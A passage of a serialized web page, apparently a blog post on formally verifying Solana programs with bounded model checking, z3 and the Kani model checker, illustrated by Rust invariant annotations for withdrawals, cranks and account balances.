property\n",{"type":24,"tag":271,"props":27382,"children":27383},{"class":273,"line":393},[27384,27389,27393,27397],{"type":24,"tag":271,"props":27385,"children":27386},{"style":288},[27387],{"type":29,"value":27388},"s.add(Not(z ",{"type":24,"tag":271,"props":27390,"children":27391},{"style":624},[27392],{"type":29,"value":23386},{"type":24,"tag":271,"props":27394,"children":27395},{"style":477},[27396],{"type":29,"value":26943},{"type":24,"tag":271,"props":27398,"children":27399},{"style":288},[27400],{"type":29,"value":27401},"))\n",{"type":24,"tag":271,"props":27403,"children":27404},{"class":273,"line":402},[27405,27410,27415],{"type":24,"tag":271,"props":27406,"children":27407},{"style":598},[27408],{"type":29,"value":27409},"print",{"type":24,"tag":271,"props":27411,"children":27412},{"style":288},[27413],{"type":29,"value":27414},"(s.check()) ",{"type":24,"tag":271,"props":27416,"children":27417},{"style":2058},[27418],{"type":29,"value":27419},"# \"unsat\"\n",{"type":24,"tag":271,"props":27421,"children":27422},{"class":273,"line":411},[27423],{"type":24,"tag":271,"props":27424,"children":27425},{"emptyLinePlaceholder":16},[27426],{"type":29,"value":327},{"type":24,"tag":271,"props":27428,"children":27429},{"class":273,"line":420},[27430],{"type":24,"tag":271,"props":27431,"children":27432},{"style":2058},[27433],{"type":29,"value":27434},"# Negative branch:\n",{"type":24,"tag":271,"props":27436,"children":27437},{"class":273,"line":429},[27438,27442,27446],{"type":24,"tag":271,"props":27439,"children":27440},{"style":288},[27441],{"type":29,"value":27281},{"type":24,"tag":271,"props":27443,"children":27444},{"style":624},[27445],{"type":29,"value":762},{"type":24,"tag":271,"props":27447,"children":27448},{"style":288},[27449],{"type":29,"value":27290},{"type":24,"tag":271,"props":27451,"children":27452},{"class":273,"line":438},[27453,27457,27461,27465,27469,27473],{"type":24,"tag":271,"props":27454,"children":27455},{"style":288},[27456],{"type":29,"value":27298},{"type":24,"tag":271,"props":27458,"children":27459},{"style":624},[27460],{"type":29,"value":5059},{"type":24,"tag":271,"props":27462,"children":27463},{"style":288},[27464],{"type":29,"value":26780},{"type":24,"tag":271,"props":27466,"children":27467},{"style":624},[27468],{"type":29,"value":1012},{"type":24,"tag":271,"props":27470,"children":27471},{"style":477},[27472],{"type":29,"value":4932},{"type":24,"tag":271,"props":27474,"children":27475},{"style":288},[27476],{"type":29,"value":694},{"type":24,"tag":271,"props":27478,"children":27479},{"class":273,"line":447},[27480,27484,27488,27492],{"type":24,"tag":271,"props":27481,"children":27482},{"style":288},[27483],{"type":29,"value":27298},{"type":24,"tag":271,"props":27485,"children":27486},{"style":624},[27487],{"type":29,"value":27103},{"type":24,"tag":271,"props":27489,"children":27490},{"style":477},[27491],{"type":29,"value":26825},{"type":24,"tag":271,"props":27493,"children":27494},{"style":288},[27495],{"type":29,"value":694},{"type":24,"tag":271,"props":27497,"children":27498},{"class":273,"line":455},[27499,27503,27507,27511,27515,27519],{"type":24,"tag":271,"props":27500,"children":27501},{"style":288},[27502],{"type":29,"value":27345},{"type":24,"tag":271,"props":27504,"children":27505},{"style":624},[27506],{"type":29,"value":5059},{"type":24,"tag":271,"props":27508,"children":27509},{"style":288},[27510],{"type":29,"value":12233},{"type":24,"tag":271,"props":27512,"children":27513},{"style":624},[27514],{"type":29,"value":1012},{"type":24,"tag":271,"props":27516,"children":27517},{"style":477},[27518],{"type":29,"value":824},{"type":24,"tag":271,"props":27520,"children":27521},{"style":288},[27522],{"type":29,"value":694},{"type":24,"tag":271,"props":27524,"children":27525},{"class":273,"line":464},[27526],{"type":24,"tag":271,"props":27527,"children":27528},{"emptyLinePlaceholder":16},[27529],{"type":29,"value":327},{"type":24,"tag":271,"props":27531,"children":27532},{"class":273,"line":473},[27533],{"type":24,"tag":271,"props":27534,"children":27535},{"style":2058},[27536],{"type":29,"value":27380},{"type":24,"tag":271,"props":27538,"children":27539},{"class":273,"line":483},[27540,27544,27548,27552],{"type":24,"tag":271,"props":27541,"children":27542},{"style":288},[27543],{"type":29,"value":27388},{"type":24,"tag":271,"props":27545,"children":27546},{"style":624},[27547],{"type":29,"value":23386},{"type":24,"tag":271,"props":27549,"children":27550},{"style":477},[27551],{"type":29,"value":26943},{"type":24,"tag":271,"props":27553,"children":27554},{"style":288},[27555],{"type":29,"value":27401},{"type":24,"tag":271,"props":27557,"children":27558},{"class":273,"line":491},[27559,27563,27567],{"type":24,"tag":271,"props":27560,"children":27561},{"style":598},[27562],{"type":29,"value":27409},{"type":24,"tag":271,"props":27564,"children":27565},{"style":288},[27566],{"type":29,"value":27414},{"type":24,"tag":271,"props":27568,"children":27569},{"style":2058},[27570],{"type":29,"value":27419},{"type":24,"tag":25,"props":27572,"children":27573},{},[27574,27576,27582,27584,27589],{"type":29,"value":27575},"Both of these cases return ",{"type":24,"tag":135,"props":27577,"children":27579},{"className":27578},[],[27580],{"type":29,"value":27581},"unsat",{"type":29,"value":27583}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":24,"tag":10648,"props":27585,"children":27586},{},[27587],{"type":29,"value":27588},"correct",{"type":29,"value":27590}," according to this property.",{"type":24,"tag":85,"props":27592,"children":27594},{"id":27593},"loop-bounds-path-explosion",[27595],{"type":29,"value":27596},"Loop bounds & path explosion",{"type":24,"tag":25,"props":27598,"children":27599},{},[27600,27602,27607,27609,27614],{"type":29,"value":27601},"As you may have noticed, BMC requires us to take ",{"type":24,"tag":10648,"props":27603,"children":27604},{},[27605],{"type":29,"value":27606},"every",{"type":29,"value":27608}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":24,"tag":10648,"props":27610,"children":27611},{},[27612],{"type":29,"value":27613},"infinite",{"type":29,"value":27615}," number of paths because the loop branches backward. This might take a while...",{"type":24,"tag":25,"props":27617,"children":27618},{},[27619],{"type":29,"value":27620},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":24,"tag":25,"props":27622,"children":27623},{},[27624],{"type":29,"value":27625},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":24,"tag":25,"props":27627,"children":27628},{},[27629],{"type":29,"value":27630},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":24,"tag":85,"props":27632,"children":27634},{"id":27633},"kani-model-checker",[27635],{"type":29,"value":27636},"Kani Model Checker",{"type":24,"tag":25,"props":27638,"children":27639},{},[27640,27642,27647],{"type":29,"value":27641},"For our research with formally verifying Solana programs, we are using the ",{"type":24,"tag":32,"props":27643,"children":27645},{"href":26539,"rel":27644},[36],[27646],{"type":29,"value":26543},{"type":29,"value":27648},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":24,"tag":25,"props":27650,"children":27651},{},[27652,27654,27659,27661,27667,27668,27674,27676,27682],{"type":29,"value":27653},"Kani allows you to write ",{"type":24,"tag":10648,"props":27655,"children":27656},{},[27657],{"type":29,"value":27658},"proof harnesses",{"type":29,"value":27660}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":24,"tag":135,"props":27662,"children":27664},{"className":27663},[],[27665],{"type":29,"value":27666},"assume",{"type":29,"value":518},{"type":24,"tag":135,"props":27669,"children":27671},{"className":27670},[],[27672],{"type":29,"value":27673},"assert",{"type":29,"value":27675}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":24,"tag":135,"props":27677,"children":27679},{"className":27678},[],[27680],{"type":29,"value":27681},"cargo kani",{"type":29,"value":27683}," tool (which compiles your proof harness and runs BMC).",{"type":24,"tag":62,"props":27685,"children":27687},{"id":27686},"specification-how-can-we-describe-what-we-want-our-program-to-do",[27688,27690,27694],{"type":29,"value":27689},"Specification: How can we describe what we ",{"type":24,"tag":10648,"props":27691,"children":27692},{},[27693],{"type":29,"value":26613},{"type":29,"value":26615},{"type":24,"tag":25,"props":27696,"children":27697},{},[27698],{"type":24,"tag":10648,"props":27699,"children":27700},{},[27701],{"type":24,"tag":213,"props":27702,"children":27703},{},[27704],{"type":29,"value":27705},"And what even do we want it to do?",{"type":24,"tag":25,"props":27707,"children":27708},{},[27709,27711,27716],{"type":29,"value":27710},"A fundamental challenge with any formal verification framework is ",{"type":24,"tag":10648,"props":27712,"children":27713},{},[27714],{"type":29,"value":27715},"specifying",{"type":29,"value":27717}," what the \"correct\" behavior should be.",{"type":24,"tag":25,"props":27719,"children":27720},{},[27721],{"type":29,"value":27722},"In natural language, we can describe a few good properties for example Solana programs:",{"type":24,"tag":97,"props":27724,"children":27725},{},[27726,27738,27749],{"type":24,"tag":101,"props":27727,"children":27728},{},[27729,27731,27736],{"type":29,"value":27730},"\"It should not be possible to ",{"type":24,"tag":213,"props":27732,"children":27733},{},[27734],{"type":29,"value":27735},"steal money",{"type":29,"value":27737}," via a swap program\"",{"type":24,"tag":101,"props":27739,"children":27740},{},[27741,27743,27748],{"type":29,"value":27742},"\"A multisig should never get into a state where you ",{"type":24,"tag":213,"props":27744,"children":27745},{},[27746],{"type":29,"value":27747},"can't sign anything",{"type":29,"value":5702},{"type":24,"tag":101,"props":27750,"children":27751},{},[27752],{"type":29,"value":27753},"\"User funds in a staking protocol \"",{"type":24,"tag":25,"props":27755,"children":27756},{},[27757,27759,27769,27771,27776],{"type":29,"value":27758},"These are types of properties you can tell your ",{"type":24,"tag":32,"props":27760,"children":27763},{"href":27761,"rel":27762},"https://osec.io/",[36],[27764],{"type":24,"tag":10648,"props":27765,"children":27766},{},[27767],{"type":29,"value":27768},"human auditors",{"type":29,"value":27770}," but these English phrases are not particularly useful for ",{"type":24,"tag":10648,"props":27772,"children":27773},{},[27774],{"type":29,"value":27775},"automated verification techniques",{"type":29,"value":27777}," (at least until our AI overlords surpass human intelligence).",{"type":24,"tag":25,"props":27779,"children":27780},{},[27781,27783,27788,27790,27795],{"type":29,"value":27782},"Instead, we need to be able to specify ",{"type":24,"tag":10648,"props":27784,"children":27785},{},[27786],{"type":29,"value":27787},"in code",{"type":29,"value":27789}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":24,"tag":135,"props":27791,"children":27793},{"className":27792},[],[27794],{"type":29,"value":27673},{"type":29,"value":27796}," statement.",{"type":24,"tag":85,"props":27798,"children":27800},{"id":27799},"solana-invariants",[27801],{"type":29,"value":27802},"Solana Invariants",{"type":24,"tag":25,"props":27804,"children":27805},{},[27806,27808,27813,27814,27819],{"type":29,"value":27807},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":24,"tag":213,"props":27809,"children":27810},{},[27811],{"type":29,"value":27812},"instruction invariants",{"type":29,"value":518},{"type":24,"tag":213,"props":27815,"children":27816},{},[27817],{"type":29,"value":27818},"account invariants",{"type":29,"value":41},{"type":24,"tag":26585,"props":27821,"children":27823},{"id":27822},"instruction-invariant",[27824],{"type":29,"value":27825},"Instruction Invariant",{"type":24,"tag":25,"props":27827,"children":27828},{},[27829,27831,27836,27838,27844,27845,27851],{"type":29,"value":27830},"An ",{"type":24,"tag":213,"props":27832,"children":27833},{},[27834],{"type":29,"value":27835},"instruction invariant",{"type":29,"value":27837}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":24,"tag":135,"props":27839,"children":27841},{"className":27840},[],[27842],{"type":29,"value":27843},"succeeds_if",{"type":29,"value":20834},{"type":24,"tag":135,"props":27846,"children":27848},{"className":27847},[],[27849],{"type":29,"value":27850},"errors_if",{"type":29,"value":27852}," macro annotations on the instruction handler.",{"type":24,"tag":25,"props":27854,"children":27855},{},[27856],{"type":29,"value":27857},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":24,"tag":25,"props":27859,"children":27860},{},[27861,27863,27869,27871,27876],{"type":29,"value":27862},"For example, say we have a ",{"type":24,"tag":135,"props":27864,"children":27866},{"className":27865},[],[27867],{"type":29,"value":27868},"Withdraw",{"type":29,"value":27870}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":24,"tag":10648,"props":27872,"children":27873},{},[27874],{"type":29,"value":27875},"more",{"type":29,"value":27877}," tokens than their current balance.",{"type":24,"tag":25,"props":27879,"children":27880},{},[27881,27883,27888],{"type":29,"value":27882},"Using our tool, you could specify the following ",{"type":24,"tag":135,"props":27884,"children":27886},{"className":27885},[],[27887],{"type":29,"value":27850},{"type":29,"value":27889}," property on your instruction handler:",{"type":24,"tag":261,"props":27891,"children":27893},{"code":27892,"language":10717,"meta":7,"className":10718,"style":7},"#[errors_if(\n ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n ...\n}\n",[27894],{"type":24,"tag":135,"props":27895,"children":27896},{"__ignoreMap":7},[27897,27905,27940,27948,28020,28028],{"type":24,"tag":271,"props":27898,"children":27899},{"class":273,"line":274},[27900],{"type":24,"tag":271,"props":27901,"children":27902},{"style":288},[27903],{"type":29,"value":27904},"#[errors_if(\n",{"type":24,"tag":271,"props":27906,"children":27907},{"class":273,"line":284},[27908,27913,27917,27922,27926,27931,27935],{"type":24,"tag":271,"props":27909,"children":27910},{"style":288},[27911],{"type":29,"value":27912}," ctx",{"type":24,"tag":271,"props":27914,"children":27915},{"style":624},[27916],{"type":29,"value":41},{"type":24,"tag":271,"props":27918,"children":27919},{"style":288},[27920],{"type":29,"value":27921},"user",{"type":24,"tag":271,"props":27923,"children":27924},{"style":624},[27925],{"type":29,"value":41},{"type":24,"tag":271,"props":27927,"children":27928},{"style":288},[27929],{"type":29,"value":27930},"balance ",{"type":24,"tag":271,"props":27932,"children":27933},{"style":624},[27934],{"type":29,"value":801},{"type":24,"tag":271,"props":27936,"children":27937},{"style":288},[27938],{"type":29,"value":27939}," amount\n",{"type":24,"tag":271,"props":27941,"children":27942},{"class":273,"line":294},[27943],{"type":24,"tag":271,"props":27944,"children":27945},{"style":288},[27946],{"type":29,"value":27947},")]\n",{"type":24,"tag":271,"props":27949,"children":27950},{"class":273,"line":303},[27951,27956,27961,27965,27969,27973,27978,27982,27986,27990,27995,27999,28003,28007,28011,28015],{"type":24,"tag":271,"props":27952,"children":27953},{"style":278},[27954],{"type":29,"value":27955},"fn",{"type":24,"tag":271,"props":27957,"children":27958},{"style":598},[27959],{"type":29,"value":27960}," withdraw",{"type":24,"tag":271,"props":27962,"children":27963},{"style":288},[27964],{"type":29,"value":606},{"type":24,"tag":271,"props":27966,"children":27967},{"style":630},[27968],{"type":29,"value":633},{"type":24,"tag":271,"props":27970,"children":27971},{"style":624},[27972],{"type":29,"value":12210},{"type":24,"tag":271,"props":27974,"children":27975},{"style":3887},[27976],{"type":29,"value":27977}," Context",{"type":24,"tag":271,"props":27979,"children":27980},{"style":288},[27981],{"type":29,"value":801},{"type":24,"tag":271,"props":27983,"children":27984},{"style":3887},[27985],{"type":29,"value":27868},{"type":24,"tag":271,"props":27987,"children":27988},{"style":288},[27989],{"type":29,"value":14347},{"type":24,"tag":271,"props":27991,"children":27992},{"style":630},[27993],{"type":29,"value":27994},"amount",{"type":24,"tag":271,"props":27996,"children":27997},{"style":624},[27998],{"type":29,"value":12210},{"type":24,"tag":271,"props":28000,"children":28001},{"style":3887},[28002],{"type":29,"value":13576},{"type":24,"tag":271,"props":28004,"children":28005},{"style":288},[28006],{"type":29,"value":8823},{"type":24,"tag":271,"props":28008,"children":28009},{"style":624},[28010],{"type":29,"value":786},{"type":24,"tag":271,"props":28012,"children":28013},{"style":3887},[28014],{"type":29,"value":21462},{"type":24,"tag":271,"props":28016,"children":28017},{"style":288},[28018],{"type":29,"value":28019},"\u003C()> {\n",{"type":24,"tag":271,"props":28021,"children":28022},{"class":273,"line":312},[28023],{"type":24,"tag":271,"props":28024,"children":28025},{"style":624},[28026],{"type":29,"value":28027}," ...\n",{"type":24,"tag":271,"props":28029,"children":28030},{"class":273,"line":321},[28031],{"type":24,"tag":271,"props":28032,"children":28033},{"style":288},[28034],{"type":29,"value":1171},{"type":24,"tag":10670,"props":28036,"children":28037},{},[28038],{"type":24,"tag":25,"props":28039,"children":28040},{},[28041,28042,28047,28049,28054,28056,28061],{"type":29,"value":1422},{"type":24,"tag":135,"props":28043,"children":28045},{"className":28044},[],[28046],{"type":29,"value":27850},{"type":29,"value":28048}," expression specifies ",{"type":24,"tag":10648,"props":28050,"children":28051},{},[28052],{"type":29,"value":28053},"succifient",{"type":29,"value":28055}," but not ",{"type":24,"tag":10648,"props":28057,"children":28058},{},[28059],{"type":29,"value":28060},"necessary",{"type":29,"value":28062}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":24,"tag":26485,"props":28064,"children":28065},{},[],{"type":24,"tag":25,"props":28067,"children":28068},{},[28069,28071,28076],{"type":29,"value":28070},"Another example is that for ",{"type":24,"tag":10648,"props":28072,"children":28073},{},[28074],{"type":29,"value":28075},"crank",{"type":29,"value":28077}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":24,"tag":261,"props":28079,"children":28081},{"code":28080,"language":10717,"meta":7,"className":10718,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n ...\n}\n",[28082],{"type":24,"tag":135,"props":28083,"children":28084},{"__ignoreMap":7},[28085,28093,28147,28154],{"type":24,"tag":271,"props":28086,"children":28087},{"class":273,"line":274},[28088],{"type":24,"tag":271,"props":28089,"children":28090},{"style":288},[28091],{"type":29,"value":28092},"#[succeeds_if(true)]\n",{"type":24,"tag":271,"props":28094,"children":28095},{"class":273,"line":284},[28096,28100,28105,28109,28113,28117,28121,28125,28130,28135,28139,28143],{"type":24,"tag":271,"props":28097,"children":28098},{"style":278},[28099],{"type":29,"value":27955},{"type":24,"tag":271,"props":28101,"children":28102},{"style":598},[28103],{"type":29,"value":28104}," my_crank",{"type":24,"tag":271,"props":28106,"children":28107},{"style":288},[28108],{"type":29,"value":606},{"type":24,"tag":271,"props":28110,"children":28111},{"style":630},[28112],{"type":29,"value":633},{"type":24,"tag":271,"props":28114,"children":28115},{"style":624},[28116],{"type":29,"value":12210},{"type":24,"tag":271,"props":28118,"children":28119},{"style":3887},[28120],{"type":29,"value":27977},{"type":24,"tag":271,"props":28122,"children":28123},{"style":288},[28124],{"type":29,"value":801},{"type":24,"tag":271,"props":28126,"children":28127},{"style":3887},[28128],{"type":29,"value":28129},"Crank",{"type":24,"tag":271,"props":28131,"children":28132},{"style":288},[28133],{"type":29,"value":28134},">) ",{"type":24,"tag":271,"props":28136,"children":28137},{"style":624},[28138],{"type":29,"value":786},{"type":24,"tag":271,"props":28140,"children":28141},{"style":3887},[28142],{"type":29,"value":21462},{"type":24,"tag":271,"props":28144,"children":28145},{"style":288},[28146],{"type":29,"value":28019},{"type":24,"tag":271,"props":28148,"children":28149},{"class":273,"line":294},[28150],{"type":24,"tag":271,"props":28151,"children":28152},{"style":624},[28153],{"type":29,"value":28027},{"type":24,"tag":271,"props":28155,"children":28156},{"class":273,"line":303},[28157],{"type":24,"tag":271,"props":28158,"children":28159},{"style":288},[28160],{"type":29,"value":1171},{"type":24,"tag":25,"props":28162,"children":28163},{},[28164,28166,28170,28172,28178],{"type":29,"value":28165},"With this invariant, you could prove that the function ",{"type":24,"tag":10648,"props":28167,"children":28168},{},[28169],{"type":29,"value":20794},{"type":29,"value":28171}," returns ",{"type":24,"tag":135,"props":28173,"children":28175},{"className":28174},[],[28176],{"type":29,"value":28177},"Ok",{"type":29,"value":28179},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":24,"tag":26485,"props":28181,"children":28182},{},[],{"type":24,"tag":25,"props":28184,"children":28185},{},[28186,28188,28193,28194,28199,28201,28206,28208,28213,28215,28220],{"type":29,"value":28187},"Note that ",{"type":24,"tag":135,"props":28189,"children":28191},{"className":28190},[],[28192],{"type":29,"value":27843},{"type":29,"value":518},{"type":24,"tag":135,"props":28195,"children":28197},{"className":28196},[],[28198],{"type":29,"value":27850},{"type":29,"value":28200}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":24,"tag":135,"props":28202,"children":28204},{"className":28203},[],[28205],{"type":29,"value":27843},{"type":29,"value":28207}," is not satisfied and a function may fail even if ",{"type":24,"tag":135,"props":28209,"children":28211},{"className":28210},[],[28212],{"type":29,"value":27850},{"type":29,"value":28214}," is not satisfied. If you want to prove the ",{"type":24,"tag":10648,"props":28216,"children":28217},{},[28218],{"type":29,"value":28219},"exact condition",{"type":29,"value":28221}," required for an instruction to succeed, you could use a form like the following:",{"type":24,"tag":261,"props":28223,"children":28225},{"code":28224,"language":10717,"meta":7,"className":10718,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n ...\n}\n",[28226],{"type":24,"tag":135,"props":28227,"children":28228},{"__ignoreMap":7},[28229,28273,28280,28297,28322,28374,28381],{"type":24,"tag":271,"props":28230,"children":28231},{"class":273,"line":274},[28232,28236,28241,28245,28249,28253,28257,28261,28265,28269],{"type":24,"tag":271,"props":28233,"children":28234},{"style":278},[28235],{"type":29,"value":27955},{"type":24,"tag":271,"props":28237,"children":28238},{"style":598},[28239],{"type":29,"value":28240}," my_invariant",{"type":24,"tag":271,"props":28242,"children":28243},{"style":288},[28244],{"type":29,"value":606},{"type":24,"tag":271,"props":28246,"children":28247},{"style":624},[28248],{"type":29,"value":17298},{"type":24,"tag":271,"props":28250,"children":28251},{"style":288},[28252],{"type":29,"value":8823},{"type":24,"tag":271,"props":28254,"children":28255},{"style":624},[28256],{"type":29,"value":786},{"type":24,"tag":271,"props":28258,"children":28259},{"style":3887},[28260],{"type":29,"value":19753},{"type":24,"tag":271,"props":28262,"children":28263},{"style":288},[28264],{"type":29,"value":17293},{"type":24,"tag":271,"props":28266,"children":28267},{"style":624},[28268],{"type":29,"value":17298},{"type":24,"tag":271,"props":28270,"children":28271},{"style":288},[28272],{"type":29,"value":1163},{"type":24,"tag":271,"props":28274,"children":28275},{"class":273,"line":284},[28276],{"type":24,"tag":271,"props":28277,"children":28278},{"emptyLinePlaceholder":16},[28279],{"type":29,"value":327},{"type":24,"tag":271,"props":28281,"children":28282},{"class":273,"line":294},[28283,28288,28292],{"type":24,"tag":271,"props":28284,"children":28285},{"style":288},[28286],{"type":29,"value":28287},"#[succeeds_if(my_invariant(",{"type":24,"tag":271,"props":28289,"children":28290},{"style":624},[28291],{"type":29,"value":17298},{"type":24,"tag":271,"props":28293,"children":28294},{"style":288},[28295],{"type":29,"value":28296},"))]\n",{"type":24,"tag":271,"props":28298,"children":28299},{"class":273,"line":303},[28300,28305,28309,28314,28318],{"type":24,"tag":271,"props":28301,"children":28302},{"style":288},[28303],{"type":29,"value":28304},"#[errors_if(",{"type":24,"tag":271,"props":28306,"children":28307},{"style":624},[28308],{"type":29,"value":1818},{"type":24,"tag":271,"props":28310,"children":28311},{"style":288},[28312],{"type":29,"value":28313},"my_invariant(",{"type":24,"tag":271,"props":28315,"children":28316},{"style":624},[28317],{"type":29,"value":17298},{"type":24,"tag":271,"props":28319,"children":28320},{"style":288},[28321],{"type":29,"value":28296},{"type":24,"tag":271,"props":28323,"children":28324},{"class":273,"line":312},[28325,28329,28334,28338,28342,28346,28350,28354,28358,28362,28366,28370],{"type":24,"tag":271,"props":28326,"children":28327},{"style":278},[28328],{"type":29,"value":27955},{"type":24,"tag":271,"props":28330,"children":28331},{"style":598},[28332],{"type":29,"value":28333}," my_instruction",{"type":24,"tag":271,"props":28335,"children":28336},{"style":288},[28337],{"type":29,"value":606},{"type":24,"tag":271,"props":28339,"children":28340},{"style":630},[28341],{"type":29,"value":633},{"type":24,"tag":271,"props":28343,"children":28344},{"style":624},[28345],{"type":29,"value":12210},{"type":24,"tag":271,"props":28347,"children":28348},{"style":3887},[28349],{"type":29,"value":27977},{"type":24,"tag":271,"props":28351,"children":28352},{"style":288},[28353],{"type":29,"value":801},{"type":24,"tag":271,"props":28355,"children":28356},{"style":624},[28357],{"type":29,"value":17298},{"type":24,"tag":271,"props":28359,"children":28360},{"style":288},[28361],{"type":29,"value":28134},{"type":24,"tag":271,"props":28363,"children":28364},{"style":624},[28365],{"type":29,"value":786},{"type":24,"tag":271,"props":28367,"children":28368},{"style":3887},[28369],{"type":29,"value":21462},{"type":24,"tag":271,"props":28371,"children":28372},{"style":288},[28373],{"type":29,"value":28019},{"type":24,"tag":271,"props":28375,"children":28376},{"class":273,"line":321},[28377],{"type":24,"tag":271,"props":28378,"children":28379},{"style":624},[28380],{"type":29,"value":28027},{"type":24,"tag":271,"props":28382,"children":28383},{"class":273,"line":330},[28384],{"type":24,"tag":271,"props":28385,"children":28386},{"style":288},[28387],{"type":29,"value":1171},{"type":24,"tag":25,"props":28389,"children":28390},{},[28391],{"type":29,"value":28392},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":24,"tag":26585,"props":28394,"children":28396},{"id":28395},"account-invariants",[28397],{"type":29,"value":28398},"Account Invariants",{"type":24,"tag":25,"props":28400,"children":28401},{},[28402,28404,28409],{"type":29,"value":28403},"The other type of invariant is an ",{"type":24,"tag":213,"props":28405,"children":28406},{},[28407],{"type":29,"value":28408},"Account Invariant",{"type":29,"value":28410},". This invariant describes some property of an account that should always hold.",{"type":24,"tag":25,"props":28412,"children":28413},{},[28414,28416,28421,28422,28428],{"type":29,"value":28415},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":24,"tag":135,"props":28417,"children":28419},{"className":28418},[],[28420],{"type":29,"value":11448},{"type":29,"value":20834},{"type":24,"tag":135,"props":28423,"children":28425},{"className":28424},[],[28426],{"type":29,"value":28427},"init",{"type":29,"value":28429},").",{"type":24,"tag":25,"props":28431,"children":28432},{},[28433,28435,28441],{"type":29,"value":28434},"For example, given a mock ",{"type":24,"tag":135,"props":28436,"children":28438},{"className":28437},[],[28439],{"type":29,"value":28440},"UserStatement",{"type":29,"value":28442}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":24,"tag":261,"props":28444,"children":28446},{"code":28445,"language":10717,"meta":7,"className":10718,"style":7},"#[account]\n#[invariant(\n self.assets >= self.liabilities\n)]\nstruct UserStatement {\n pub owner: Pubkey,\n pub assets: u64,\n pub liabilities: u64,\n}\n",[28447],{"type":24,"tag":135,"props":28448,"children":28449},{"__ignoreMap":7},[28450,28458,28466,28500,28507,28523,28549,28573,28597],{"type":24,"tag":271,"props":28451,"children":28452},{"class":273,"line":274},[28453],{"type":24,"tag":271,"props":28454,"children":28455},{"style":288},[28456],{"type":29,"value":28457},"#[account]\n",{"type":24,"tag":271,"props":28459,"children":28460},{"class":273,"line":284},[28461],{"type":24,"tag":271,"props":28462,"children":28463},{"style":288},[28464],{"type":29,"value":28465},"#[invariant(\n",{"type":24,"tag":271,"props":28467,"children":28468},{"class":273,"line":294},[28469,28474,28478,28483,28487,28491,28495],{"type":24,"tag":271,"props":28470,"children":28471},{"style":288},[28472],{"type":29,"value":28473}," self",{"type":24,"tag":271,"props":28475,"children":28476},{"style":624},[28477],{"type":29,"value":41},{"type":24,"tag":271,"props":28479,"children":28480},{"style":288},[28481],{"type":29,"value":28482},"assets ",{"type":24,"tag":271,"props":28484,"children":28485},{"style":624},[28486],{"type":29,"value":17648},{"type":24,"tag":271,"props":28488,"children":28489},{"style":288},[28490],{"type":29,"value":21497},{"type":24,"tag":271,"props":28492,"children":28493},{"style":624},[28494],{"type":29,"value":41},{"type":24,"tag":271,"props":28496,"children":28497},{"style":288},[28498],{"type":29,"value":28499},"liabilities\n",{"type":24,"tag":271,"props":28501,"children":28502},{"class":273,"line":303},[28503],{"type":24,"tag":271,"props":28504,"children":28505},{"style":288},[28506],{"type":29,"value":27947},{"type":24,"tag":271,"props":28508,"children":28509},{"class":273,"line":312},[28510,28514,28519],{"type":24,"tag":271,"props":28511,"children":28512},{"style":278},[28513],{"type":29,"value":1772},{"type":24,"tag":271,"props":28515,"children":28516},{"style":3887},[28517],{"type":29,"value":28518}," UserStatement",{"type":24,"tag":271,"props":28520,"children":28521},{"style":288},[28522],{"type":29,"value":7145},{"type":24,"tag":271,"props":28524,"children":28525},{"class":273,"line":321},[28526,28531,28536,28540,28545],{"type":24,"tag":271,"props":28527,"children":28528},{"style":278},[28529],{"type":29,"value":28530}," pub",{"type":24,"tag":271,"props":28532,"children":28533},{"style":630},[28534],{"type":29,"value":28535}," owner",{"type":24,"tag":271,"props":28537,"children":28538},{"style":624},[28539],{"type":29,"value":12210},{"type":24,"tag":271,"props":28541,"children":28542},{"style":3887},[28543],{"type":29,"value":28544}," Pubkey",{"type":24,"tag":271,"props":28546,"children":28547},{"style":288},[28548],{"type":29,"value":638},{"type":24,"tag":271,"props":28550,"children":28551},{"class":273,"line":330},[28552,28556,28561,28565,28569],{"type":24,"tag":271,"props":28553,"children":28554},{"style":278},[28555],{"type":29,"value":28530},{"type":24,"tag":271,"props":28557,"children":28558},{"style":630},[28559],{"type":29,"value":28560}," 